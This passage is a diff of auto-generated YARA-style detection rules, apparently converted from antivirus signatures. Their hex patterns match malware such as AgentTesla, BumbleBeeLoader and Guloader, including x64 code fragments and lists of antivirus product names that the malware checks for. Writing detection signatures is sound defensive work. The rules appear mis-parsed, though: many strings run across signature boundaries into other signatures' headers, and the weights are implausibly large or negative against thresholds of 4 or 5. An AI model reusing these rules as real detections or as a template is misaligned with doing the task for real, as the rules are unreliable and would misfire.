1c 03 6d } //-13947 + condition: + ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-29872+(#a_ab_2 & 1)*0+(#a_14_3 & 1)*-13947) >=4 + +} +rule _InfrastructureShared_12663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -131585,7 +140308,7 @@ rule _InfrastructureShared_11887{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_30_2 & 1)*-23719+(#a_2e_3 & 1)*25958) >=4 } -rule _InfrastructureShared_11888{ +rule _InfrastructureShared_12664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -131598,7 +140321,7 @@ rule _InfrastructureShared_11888{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27395+(#a_41_2 & 1)*19529+(#a_04_3 & 1)*6912) >=4 } -rule _InfrastructureShared_11889{ +rule _InfrastructureShared_12665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -131606,38 +140329,67 @@ rule _InfrastructureShared_11889{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 41 42 37 21 4d 54 42 00 01 00 25 03 73 0b 00 00 0a 0c 08 07 17 73 0c 00 00 0a 0d 28 90 01 03 06 16 9a 75 01 00 00 1b 13 04 09 11 04 16 11 04 90 00 01 00 17 81 01 43 6f 75 6c } //18467 $a_6f_1 = {20 6c 6f 61 64 20 74 79 70 65 20 7b 30 7d 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 24 81 01 46 6d 67 62 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //8292 $a_41_2 = {30 00 01 00 16 00 06 6f 75 00 00 0a 0d 09 04 16 04 8e 69 6f 76 00 00 0a 13 04 de 16 01 00 27 81 01 4e 75 6c 6c 50 72 6f 6a 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 36 38 30 33 31 30 38 33 2d 37 32 36 } //21294 - $a_34_3 = {66 2d 61 65 39 36 2d 30 31 63 30 39 34 66 63 37 39 37 66 01 00 0a 81 01 41 45 53 44 65 63 72 79 70 74 00 00 78 ab 00 00 04 00 04 00 05 00 21 23 48 53 54 52 } //11618 + $a_34_3 = {66 2d 61 65 39 36 2d 30 31 63 30 39 34 66 63 37 39 37 66 01 00 0a 81 01 41 45 53 44 65 63 72 79 70 74 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a } //11618 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8292+(#a_41_2 & 1)*21294+(#a_34_3 & 1)*11618) >=4 } -rule _InfrastructureShared_11890{ +rule _InfrastructureShared_12666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 5a 41 39 30 00 01 00 16 00 06 6f 75 00 00 0a 0d 09 04 16 04 8e 69 6f 76 00 00 0a 13 04 de 16 01 00 27 81 01 4e 75 6c 6c 50 72 6f 6a 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 } //18467 - $a_72_1 = {65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 36 38 30 33 31 30 38 33 2d 37 32 36 62 2d 34 34 32 66 2d 61 65 39 36 2d 30 31 63 30 39 34 66 63 37 39 37 66 01 00 0a 81 01 41 45 53 44 65 63 72 79 70 74 00 00 78 ab 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 77 65 62 73 65 63 2e 31 2e 30 00 01 } //28531 - $a_2d_2 = {75 } //5632 u + $a_72_1 = {65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 36 38 30 33 31 30 38 33 2d 37 32 36 62 2d 34 34 32 66 2d 61 65 39 36 2d 30 31 63 30 39 34 66 63 37 39 37 66 01 00 0a 81 01 41 45 53 44 65 63 72 79 70 74 00 00 78 ab 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 41 00 01 00 1e 03 48 8b 55 10 } //28531 + $a_f8_2 = {b8 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 f0 90 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 e8 90 00 01 00 14 01 8b 45 cc 89 c1 48 8b 55 d0 48 8b 45 f0 49 89 } //-29880 + $a_c1_3 = {01 00 2c 03 c7 44 24 28 90 01 04 c7 44 24 20 90 01 04 41 b9 00 30 00 00 49 89 d8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 f0 90 00 00 00 78 ab 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 77 65 62 73 65 63 2e 31 2e 30 00 01 00 16 01 2d 00 75 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 00 00 01 00 14 01 55 00 6e 00 69 00 6e 00 73 00 74 00 } //18632 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_2d_2 & 1)*5632) >=4 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_f8_2 & 1)*-29880+(#a_c1_3 & 1)*18632) >=4 } -rule _InfrastructureShared_11891{ +rule _InfrastructureShared_12667{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 41 00 01 00 1e 03 48 8b 55 10 48 8b 45 f8 41 b8 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 f0 90 00 01 00 19 03 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 90 01 } //21283 + $a_48_1 = {45 e8 90 00 01 00 14 01 8b 45 cc 89 c1 48 8b 55 d0 48 8b 45 f0 49 89 c8 48 89 c1 e8 01 00 2c 03 c7 44 24 28 90 01 04 c7 44 24 20 90 01 04 41 b9 00 30 00 00 49 89 d8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 45 f0 90 00 00 00 78 ab 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 77 65 62 73 65 63 2e 31 2e 30 00 01 00 16 01 2d 00 75 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 00 00 01 00 14 01 55 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 00 00 01 00 22 01 49 00 6e 00 69 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 45 00 78 } //-252 + $a_54_3 = {65 } //4096 e + condition: + ((#a_46_0 & 1)*21283+(#a_48_1 & 1)*-252+(#a_54_3 & 1)*4096) >=4 + +} +rule _InfrastructureShared_12668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 57 69 6e 77 65 62 73 65 63 2e 31 2e 30 00 01 00 16 01 2d 00 75 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 00 00 01 00 14 01 55 00 6e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 00 00 01 00 22 01 } //18467 - $a_00_1 = {69 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 45 00 78 00 00 00 01 00 10 01 54 00 65 00 73 00 74 00 50 00 61 00 79 00 00 00 01 00 10 01 53 00 65 00 6e 00 64 00 50 00 61 00 79 00 00 00 00 00 78 ab 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 } //73 - $a_6f_2 = {65 2e 48 4d 52 36 00 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 01 00 0a 80 01 49 53 50 30 30 31 2e 65 78 65 01 00 0b 80 01 47 65 74 54 65 6d 70 50 61 74 68 01 00 0e 80 01 49 6e 73 } //29285 - $a_6c_3 = {50 49 20 57 65 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 ab 00 00 04 00 04 00 0d 00 21 23 48 53 54 52 3a 41 56 5f 43 68 65 63 6b 00 01 00 06 80 01 73 6f 70 68 6f 73 01 00 09 80 01 6b 61 73 70 65 72 } //24948 - $a_01_4 = {00 05 80 01 74 72 65 6e 64 01 00 05 80 01 70 61 6e 64 61 01 00 06 80 01 6d 61 63 66 65 65 01 00 08 80 01 73 79 6d 61 6e 74 65 63 01 00 06 80 01 6e 6f 72 74 6f 6e 01 00 05 80 01 61 76 69 72 61 01 00 05 80 01 61 76 61 73 74 01 00 05 80 01 33 36 30 73 64 01 00 09 80 01 76 69 72 75 73 6c 69 73 74 01 00 08 80 01 66 2d 73 65 63 75 72 65 01 00 05 80 01 6e 6f 64 33 32 } //27507 + $a_00_1 = {69 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 45 00 78 00 00 00 01 00 10 01 54 00 65 00 73 00 74 00 50 00 61 00 79 00 00 00 01 00 10 01 53 00 65 00 6e 00 64 00 50 00 61 00 79 00 00 00 00 00 78 ab 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 } //73 + $a_74_2 = {39 34 00 01 00 10 80 01 53 74 61 72 74 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 0b 80 01 41 63 63 65 70 74 4f 66 66 65 72 01 00 11 80 01 53 74 61 72 74 20 41 63 63 65 70 74 4f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 } //25966 + $a_61_3 = {6c 2e 65 78 65 00 00 78 ab 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 48 4d 52 36 00 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 01 00 0a 80 01 49 53 50 30 30 31 2e 65 78 65 01 00 0b 80 01 47 65 74 54 65 6d 70 50 61 74 68 01 00 0e 80 01 49 6e } //29550 + $a_6c_4 = {50 50 49 20 57 65 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 ab 00 00 04 00 04 00 0d 00 21 23 48 53 54 52 3a 41 56 5f 43 68 65 63 6b 00 01 00 06 80 01 73 6f 70 68 6f } //29811 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*73+(#a_6f_2 & 1)*29285+(#a_6c_3 & 1)*24948+(#a_01_4 & 1)*27507) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*73+(#a_74_2 & 1)*25966+(#a_61_3 & 1)*29550+(#a_6c_4 & 1)*29811) >=4 } -rule _InfrastructureShared_11892{ +rule _InfrastructureShared_12669{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_46_0 = {50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6c 61 79 61 6e 65 78 74 2e 39 34 00 01 00 10 80 01 53 74 61 72 74 20 4c 6f 61 64 4f 66 66 65 72 73 01 00 0b 80 01 41 63 63 65 70 74 4f 66 66 65 72 01 00 11 80 01 53 74 61 72 } //16675 + $a_63_1 = {65 70 74 4f 66 66 65 72 01 00 0d 80 01 6f 70 74 69 6f 6e 61 6c 6f 66 66 65 72 01 00 0c 80 01 63 68 72 6f 6d 65 5f 6f 66 66 65 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e } //8308 + $a_74_2 = {6c 6c 2e 65 78 65 00 00 78 ab 00 00 04 00 04 00 07 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 48 4d 52 36 00 01 00 10 80 01 47 65 6e 65 72 69 63 53 65 74 75 70 2e 65 78 65 01 00 0a 80 01 49 53 50 30 30 31 2e 65 78 65 01 00 0b 80 01 47 65 74 54 65 6d 70 50 61 74 68 01 00 0e 80 01 } //28265 + $a_74_3 = {6c 6c 50 50 49 20 57 65 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 ab 00 00 04 00 04 00 0d 00 21 23 48 53 54 52 3a 41 56 5f 43 68 65 63 6b 00 01 00 06 80 01 73 6f 70 68 6f 73 01 00 09 80 01 6b 61 73 70 65 72 73 6b 79 01 } //28233 + $a_01_4 = {74 72 65 6e 64 01 00 05 80 01 70 61 6e 64 61 01 00 06 80 01 6d 61 63 66 65 65 01 00 08 80 01 73 79 6d 61 6e 74 65 63 01 00 06 80 01 6e 6f 72 74 6f 6e 01 00 05 80 01 61 76 69 72 61 01 00 05 80 01 61 76 61 73 74 01 00 05 80 01 33 36 30 73 64 01 00 09 80 01 76 69 72 75 73 6c 69 73 74 01 00 08 80 01 66 2d 73 65 63 75 72 65 01 00 05 80 01 6e 6f 64 33 32 00 00 78 ab 00 00 05 00 05 00 04 } //1280 + $a_41_5 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 43 43 21 4d 54 42 00 02 00 } //8448 + $a_00_6 = {37 00 35 00 30 00 36 00 34 00 35 00 35 01 00 23 01 53 6c 61 63 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 01 00 20 } //271 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*8308+(#a_74_2 & 1)*28265+(#a_74_3 & 1)*28233+(#a_01_4 & 1)*1280+(#a_41_5 & 1)*8448+(#a_00_6 & 1)*271) >=4 + +} +rule _InfrastructureShared_12670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -131646,34 +140398,60 @@ rule _InfrastructureShared_11892{ $a_65_1 = {70 50 61 74 68 01 00 0e 80 01 49 6e 73 74 61 6c 6c 50 50 49 20 57 65 62 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 ab 00 00 04 00 } //29797 $a_00_2 = {21 23 48 53 54 52 3a 41 56 5f 43 68 65 } //4 !#HSTR:AV_Che $a_01_4 = {73 6f 70 68 6f 73 01 00 09 80 01 6b 61 73 70 65 72 73 6b 79 01 00 05 80 01 74 72 65 6e 64 01 00 05 80 01 70 61 6e 64 61 01 00 06 80 01 6d 61 63 66 65 65 01 00 08 80 01 73 79 6d 61 6e 74 65 63 01 00 06 80 01 6e 6f 72 74 6f 6e 01 00 05 80 01 61 76 69 72 61 01 00 05 80 01 61 76 61 73 74 01 00 05 80 01 33 36 30 73 64 01 00 09 80 01 76 69 72 75 73 6c 69 73 74 01 00 08 80 01 66 2d 73 65 } //1536 - $a_65_5 = {00 05 80 01 6e 6f 64 33 32 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 42 61 74 63 68 44 72 6f 00 01 00 2e 01 3c 4d 6f 64 75 6c 65 3e 7b 33 44 42 43 37 43 37 43 2d 41 33 41 30 2d 34 44 45 35 2d 42 34 37 38 2d 41 39 30 39 43 30 45 45 33 45 44 31 7d 01 00 24 01 35 66 36 33 38 39 32 36 2d 30 32 62 30 2d 34 31 32 63 } //30051 - $a_62_6 = {2d 34 34 34 34 33 34 31 64 62 61 39 65 01 00 12 01 4f 50 6f 35 6f 46 6f 6f 53 48 49 30 44 78 4b 48 4f 77 01 00 08 01 53 74 75 62 2e 65 78 65 01 00 0e 01 4a 00 58 } //25133 + $a_65_5 = {00 05 80 01 6e 6f 64 33 32 00 00 78 ab 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 43 43 21 4d 54 42 00 02 00 0f 01 37 00 37 00 35 00 30 00 36 00 34 00 35 00 35 01 00 23 01 53 6c 61 63 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 } //30051 + $a_00_6 = {20 } //25955 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29797+(#a_00_2 & 1)*4+(#a_01_4 & 1)*1536+(#a_65_5 & 1)*30051+(#a_62_6 & 1)*25133) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29797+(#a_00_2 & 1)*4+(#a_01_4 & 1)*1536+(#a_65_5 & 1)*30051+(#a_00_6 & 1)*25955) >=4 } -rule _InfrastructureShared_11893{ +rule _InfrastructureShared_12671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " strings : $a_54_0 = {3a 41 56 5f 43 68 65 63 6b 00 01 00 06 80 01 73 6f 70 68 6f 73 01 00 09 80 01 6b 61 73 70 65 72 73 6b 79 01 00 05 80 01 74 72 65 6e 64 01 00 05 80 01 70 61 6e 64 61 01 00 06 80 01 6d 61 63 66 65 65 01 00 08 80 01 73 79 6d 61 6e 74 65 63 01 00 06 80 } //18467 - $a_72_1 = {6f 6e 01 00 05 80 01 61 76 69 72 61 01 00 05 80 01 61 76 61 73 74 01 00 05 80 01 33 36 30 73 64 01 00 09 80 01 76 69 72 75 73 6c 69 73 74 01 00 08 80 01 66 2d 73 65 63 75 72 65 01 00 05 80 01 6e 6f 64 33 32 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 42 61 74 63 68 44 72 6f 00 01 00 2e 01 3c 4d 6f 64 75 } //28161 - $a_7b_2 = {44 42 43 37 43 37 43 2d 41 33 41 30 2d 34 44 45 35 2d 42 34 37 38 2d 41 39 30 39 43 30 45 45 33 45 44 31 7d 01 00 24 01 35 66 36 33 38 39 32 36 2d 30 32 62 30 2d 34 31 32 63 2d 62 36 62 } //25964 - $a_34_3 = {34 33 34 31 64 62 61 39 65 01 00 12 01 4f 50 6f 35 6f 46 6f 6f 53 48 49 30 44 78 4b 48 4f 77 01 00 08 01 53 74 75 62 2e 65 78 65 01 00 0e 01 4a 00 58 00 47 } //11570 - $a_00_5 = {00 00 78 ab 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 46 61 6b 65 53 65 63 53 65 6e 55 6e 69 6e 73 74 61 6c 6c 00 01 00 09 00 25 73 25 73 25 73 25 73 00 01 00 0a 00 41 6e 74 69 56 69 72 75 73 00 05 00 29 03 6a 00 6a 02 6a 00 68 90 01 04 6a 00 90 01 01 68 01 00 00 80 ff 15 90 01 04 68 90 01 04 8b 90 01 01 24 90 01 02 ff 15 90 00 04 00 1e 03 83 } //97 - $a_85_6 = {01 02 00 00 90 09 14 00 6a 04 68 90 01 04 68 } //1784 - $a_6a_7 = {ff 15 } //400 - $a_03_8 = {83 f8 06 0f 85 ?? ?? 00 00 90 09 10 00 6a 04 68 ?? ?? ?? ?? ?? 6a 00 ff 15 } //4 - $a_ab_9 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 53 43 21 4d 54 42 00 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 08 81 01 67 65 74 5f 55 75 4a 67 01 00 1e 81 01 51 4c 42 61 6e 48 61 6e 67 2e 66 72 6d 4d 61 74 48 61 6e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 28 81 01 51 4c 42 61 6e 48 61 } //0 - $a_50_10 = {6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0c 81 01 51 4c 5f 4e 67 75 6f 69 44 75 6e 67 00 } //26478 - $a_00_11 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 49 54 31 32 33 21 4d 54 42 00 01 00 10 81 01 70 6c 61 6e 6b 65 6e 64 65 20 6f 72 63 68 69 64 01 00 26 81 01 66 69 6c 65 72 65 64 65 20 70 61 72 74 73 68 72 69 6e 67 73 72 65 67 65 6c 65 6e 20 6b 6e 61 6c 6c 65 72 69 73 74 01 00 11 81 01 62 61 6e 64 69 74 74 69 20 73 63 6f 72 70 69 69 64 01 00 09 81 01 65 78 70 6c 61 6e 74 65 64 01 00 18 81 01 64 61 74 61 70 61 72 61 6d 65 74 72 65 20 6e 6f 6e 63 6c 65 72 69 63 73 00 } //30720 - $a_00_12 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 4f 31 32 33 21 4d 54 42 00 01 00 0a 81 01 6e 6f 6e 69 6f 6e 69 7a 65 64 01 00 1e 81 01 73 70 61 67 68 65 74 74 69 65 72 6e 65 20 64 65 61 63 6f 6e 65 73 73 20 73 70 6f 6c 65 6e 01 00 0a 81 01 73 65 6d 69 66 6c 65 78 65 64 01 00 1e 81 01 75 64 68 75 67 6e 69 6e 67 65 72 20 66 6c 79 67 74 6e 69 6e 67 65 68 6a 6c 70 65 6e 65 73 01 00 18 81 01 75 72 74 65 20 69 6e 63 6f 6e 76 65 72 73 61 6e 74 20 67 75 6e 6e 61 72 00 } //30720 + $a_72_1 = {6f 6e 01 00 05 80 01 61 76 69 72 61 01 00 05 80 01 61 76 61 73 74 01 00 05 80 01 33 36 30 73 64 01 00 09 80 01 76 69 72 75 73 6c 69 73 74 01 00 08 80 01 66 2d 73 65 63 75 72 65 01 00 05 80 01 6e 6f 64 33 32 00 00 78 ab 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d } //28161 + $a_4d_2 = {42 00 02 00 0f 01 37 00 37 00 35 00 30 00 36 00 34 00 35 00 35 01 00 23 01 53 6c 61 63 6b 2e 50 72 } //17219 + $a_72_3 = {69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 01 00 20 01 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 41 00 63 00 74 00 69 00 76 00 61 00 74 00 6f 00 72 00 01 00 1c 01 43 00 72 00 65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 00 00 78 ab 00 00 05 00 05 00 04 } //28783 + $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 4c 6f 61 64 65 72 2e 4e 49 45 21 } //8448 F:Trojan:Win64/BumbleBeeLoader.NIE! + $a_00_5 = {02 00 1e 01 48 f7 e9 48 89 d0 48 c1 e8 3f 48 c1 fa 1a 48 01 c2 48 89 54 24 28 48 8d 54 24 28 48 89 f1 01 00 17 01 0f 57 c9 f2 0f 2a cb f2 0f 59 c8 f2 0f 11 4c 24 28 f2 0f 10 44 24 28 01 00 16 01 85 } //21581 + $a_c8_6 = {e1 00 ff ff ff f7 d9 41 01 cc 41 ff c4 4d 63 f4 01 00 1d 01 49 89 c6 45 31 ff 45 31 ed 0f 1f 44 00 00 4e 8d 24 3c 49 83 c4 20 44 89 f8 99 41 f7 fe 00 00 78 ab 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a } //4032 + $a_63_7 = {44 72 6f 00 01 00 2e 01 3c 4d 6f 64 75 6c 65 3e 7b 33 44 42 43 37 43 37 43 2d 41 33 41 30 2d 34 44 45 35 2d 42 34 37 38 2d 41 39 30 39 43 30 45 45 33 45 44 31 7d 01 00 24 01 35 66 36 33 38 39 32 36 2d 30 32 62 30 2d 34 31 32 63 2d 62 36 62 32 2d 34 34 34 34 33 34 31 64 62 61 39 65 01 00 12 01 4f 50 6f 35 6f 46 6f 6f 53 48 49 30 44 78 4b 48 4f 77 } //24898 + $a_01_8 = {53 74 75 62 2e 65 78 65 } //1 Stub.exe + $a_01_9 = {4a 00 58 00 47 00 72 00 65 00 61 00 74 00 } //1 JXGreat + $a_ab_10 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 46 61 6b 65 53 65 63 53 65 6e 55 6e 69 6e 73 74 61 6c 6c 00 01 00 09 00 25 73 25 73 25 73 25 73 00 01 00 0a 00 41 6e 74 69 56 69 72 75 73 00 05 00 29 03 6a 00 6a 02 6a 00 68 90 01 04 6a 00 90 01 01 68 01 00 00 80 ff 15 90 01 04 68 90 01 04 8b 90 01 01 24 90 01 02 ff 15 90 00 04 00 1e 03 83 f8 06 0f 85 90 01 02 00 00 } //0 + $a_00_11 = {6a 04 68 90 01 04 68 90 01 04 6a 00 ff 15 90 00 04 00 1a 03 } //2448 + $a_0f_12 = {85 90 01 02 00 00 } //-1917 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28161+(#a_7b_2 & 1)*25964+(#a_34_3 & 1)*11570+(#a_00_5 & 1)*97+(#a_85_6 & 1)*1784+(#a_6a_7 & 1)*400+(#a_03_8 & 1)*4+(#a_ab_9 & 1)*0+(#a_50_10 & 1)*26478+(#a_00_11 & 1)*30720+(#a_00_12 & 1)*30720) >=4 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28161+(#a_4d_2 & 1)*17219+(#a_72_3 & 1)*28783+(#a_41_4 & 1)*8448+(#a_00_5 & 1)*21581+(#a_c8_6 & 1)*4032+(#a_63_7 & 1)*24898+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_ab_10 & 1)*0+(#a_00_11 & 1)*2448+(#a_0f_12 & 1)*-1917) >=4 } -rule _InfrastructureShared_11894{ +rule _InfrastructureShared_12672{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 43 43 21 4d 54 42 00 02 00 0f 01 37 00 37 00 35 00 30 00 36 00 34 00 35 00 35 01 00 23 01 53 6c 61 63 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 } //16675 + $a_73_1 = {72 65 73 6f 75 72 63 65 01 00 20 01 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 41 00 63 00 74 00 69 00 76 00 61 00 74 00 6f 00 72 00 01 00 1c 01 43 00 72 00 65 00 61 00 74 00 65 00 49 00 6e 00 73 00 74 00 61 00 6e 00 63 00 65 00 00 00 78 ab 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //25458 + $a_36_2 = {2f 42 75 6d 62 6c 65 42 65 65 4c 6f 61 64 65 72 2e 4e 49 45 21 4d 54 42 00 02 00 1e 01 48 f7 e9 48 89 d0 48 c1 e8 3f 48 c1 fa 1a 48 01 c2 48 89 54 24 28 48 8d 54 24 28 48 89 f1 01 00 17 01 0f 57 c9 f2 0f 2a cb f2 0f 59 c8 f2 0f 11 4c 24 28 f2 0f 10 44 24 28 01 00 16 01 85 c0 0f 49 c8 81 e1 00 ff ff ff f7 d9 41 01 cc 41 ff c4 4d } //26967 + $a_00_3 = {1d } //-2973 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25458+(#a_36_2 & 1)*26967+(#a_00_3 & 1)*-2973) >=5 + +} +rule _InfrastructureShared_12673{ + meta: + description = 